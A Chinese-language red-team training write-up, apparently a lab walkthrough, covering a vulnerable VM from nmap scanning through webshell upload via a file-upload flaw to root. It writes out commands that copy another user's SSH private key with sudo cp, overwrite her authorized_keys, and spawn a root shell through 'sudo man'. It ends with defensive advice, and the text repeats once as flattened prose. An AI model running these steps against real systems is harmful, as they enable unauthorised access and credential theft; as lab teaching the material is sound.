红队专项·Five
字数 1393 2025-08-10 20:35:54

红队专项练习:从信息收集到权限提升的完整渗透测试教学

1. 信息收集阶段

1.1 网络扫描

使用nmap进行初始扫描:

nmap -sT --min-rate 10000 -p- 192.168.56.0/24
  • -sT: TCP连接扫描
  • --min-rate 10000: 设置最小发包速率为10000包/秒
  • -p-: 扫描所有65535个端口

扫描结果发现目标主机192.168.56.101开放了80端口(HTTP服务)。

1.2 详细服务扫描

对开放端口进行更详细的扫描:

nmap -sT -sC -sV -A -p80 192.168.56.101
  • -sC: 使用默认脚本扫描
  • -sV: 探测服务版本
  • -A: 启用操作系统检测和版本检测

扫描结果:

  • 服务: nginx 1.14.2
  • HTTP标题: 403 Forbidden
  • robots.txt发现敏感目录: /admin

2. Web应用渗透

2.1 目录爆破

使用dirsearch工具进行目录爆破:

dirsearch -u http://192.168.56.101/

发现以下关键路径:

  • /admin/ (登录页面)
  • /robots.txt (确认/admin路径)
  • /upload.html (文件上传功能)
  • /upload.php
  • /uploads/ (上传文件存放目录,403禁止访问)

2.2 Web应用指纹识别

使用whatweb识别Web应用信息:

whatweb http://192.168.56.101

确认服务器为nginx 1.14.2,返回403 Forbidden。

3. 文件上传漏洞利用

3.1 上传PHP Webshell

  1. 通过/upload.html上传PHP webshell
  2. 上传后发现文件存储在/uploads/目录但无法执行
  3. 尝试修改上传目录,成功执行命令

3.2 使用蚁剑连接

  1. 使用中国蚁剑(AntSword)连接上传的webshell
  2. 获得www-data权限的伪终端

4. 权限提升

4.1 发现用户melisa

在/home目录下发现用户melisa,其目录下有user.txt文件。

4.2 发现sudo权限

发现melisa用户可以无密码使用sudo执行以下命令:

/bin/cp

4.3 利用sudo cp获取SSH私钥

  1. 在/tmp目录创建空文件:
cd /tmp
touch id_rsa
  1. 复制melisa的SSH私钥:
sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
  1. 设置私钥权限:
chmod 600 id_rsa
  1. 从私钥生成公钥:
ssh-keygen -y -f id_rsa > authorized_keys
  1. 将公钥复制到melisa的授权密钥文件:
sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
  1. 通过SSH连接内网4444端口:
ssh -i id_rsa melisa@localhost -p 4444
  1. 成功获取user.txt

4.4 提升至root权限

  1. 检查melisa的sudo权限:
sudo -l

结果显示可以无密码执行以下命令:

/bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
  1. 利用man命令提权(参考GTFOBins):
sudo /bin/man -P less id!/bin/bash
  • -P less: 设置分页器为less
  • id!/bin/bash: 在man页面中执行/bin/bash
  1. 成功获取root权限,可读取/root下的flag

5. 关键工具与技术总结

  1. nmap:网络扫描和指纹识别
  2. dirsearch:Web目录爆破
  3. whatweb:Web应用指纹识别
  4. 文件上传漏洞:通过上传PHP webshell获取初始访问
  5. 蚁剑:Webshell管理工具
  6. sudo权限滥用:利用有限的sudo权限进行权限提升
  7. GTFOBins技术:利用系统二进制文件进行权限提升

6. 防御建议

  1. 限制nginx的目录访问权限
  2. 禁用不必要的sudo权限
  3. 对文件上传功能进行严格过滤
  4. 定期更新服务器软件
  5. 限制SSH服务的监听地址和端口
  6. 监控系统日志中的异常行为

通过这个案例,我们学习了从信息收集到权限提升的完整渗透测试流程,特别是如何利用有限的初始访问权限逐步提升至root权限。

红队专项练习:从信息收集到权限提升的完整渗透测试教学 1. 信息收集阶段 1.1 网络扫描 使用nmap进行初始扫描: -sT : TCP连接扫描 --min-rate 10000 : 设置最小发包速率为10000包/秒 -p- : 扫描所有65535个端口 扫描结果发现目标主机192.168.56.101开放了80端口(HTTP服务)。 1.2 详细服务扫描 对开放端口进行更详细的扫描: -sC : 使用默认脚本扫描 -sV : 探测服务版本 -A : 启用操作系统检测和版本检测 扫描结果: 服务: nginx 1.14.2 HTTP标题: 403 Forbidden robots.txt发现敏感目录: /admin 2. Web应用渗透 2.1 目录爆破 使用dirsearch工具进行目录爆破: 发现以下关键路径: /admin/ (登录页面) /robots.txt (确认/admin路径) /upload.html (文件上传功能) /upload.php /uploads/ (上传文件存放目录,403禁止访问) 2.2 Web应用指纹识别 使用whatweb识别Web应用信息: 确认服务器为nginx 1.14.2,返回403 Forbidden。 3. 文件上传漏洞利用 3.1 上传PHP Webshell 通过/upload.html上传PHP webshell 上传后发现文件存储在/uploads/目录但无法执行 尝试修改上传目录,成功执行命令 3.2 使用蚁剑连接 使用中国蚁剑(AntSword)连接上传的webshell 获得www-data权限的伪终端 4. 权限提升 4.1 发现用户melisa 在/home目录下发现用户melisa,其目录下有user.txt文件。 4.2 发现sudo权限 发现melisa用户可以无密码使用sudo执行以下命令: 4.3 利用sudo cp获取SSH私钥 在/tmp目录创建空文件: 复制melisa的SSH私钥: 设置私钥权限: 从私钥生成公钥: 将公钥复制到melisa的授权密钥文件: 通过SSH连接内网4444端口: 成功获取user.txt 4.4 提升至root权限 检查melisa的sudo权限: 结果显示可以无密码执行以下命令: 利用man命令提权(参考GTFOBins): -P less : 设置分页器为less id!/bin/bash : 在man页面中执行/bin/bash 成功获取root权限,可读取/root下的flag 5. 关键工具与技术总结 nmap :网络扫描和指纹识别 dirsearch :Web目录爆破 whatweb :Web应用指纹识别 文件上传漏洞 :通过上传PHP webshell获取初始访问 蚁剑 :Webshell管理工具 sudo权限滥用 :利用有限的sudo权限进行权限提升 GTFOBins技术 :利用系统二进制文件进行权限提升 6. 防御建议 限制nginx的目录访问权限 禁用不必要的sudo权限 对文件上传功能进行严格过滤 定期更新服务器软件 限制SSH服务的监听地址和端口 监控系统日志中的异常行为 通过这个案例,我们学习了从信息收集到权限提升的完整渗透测试流程,特别是如何利用有限的初始访问权限逐步提升至root权限。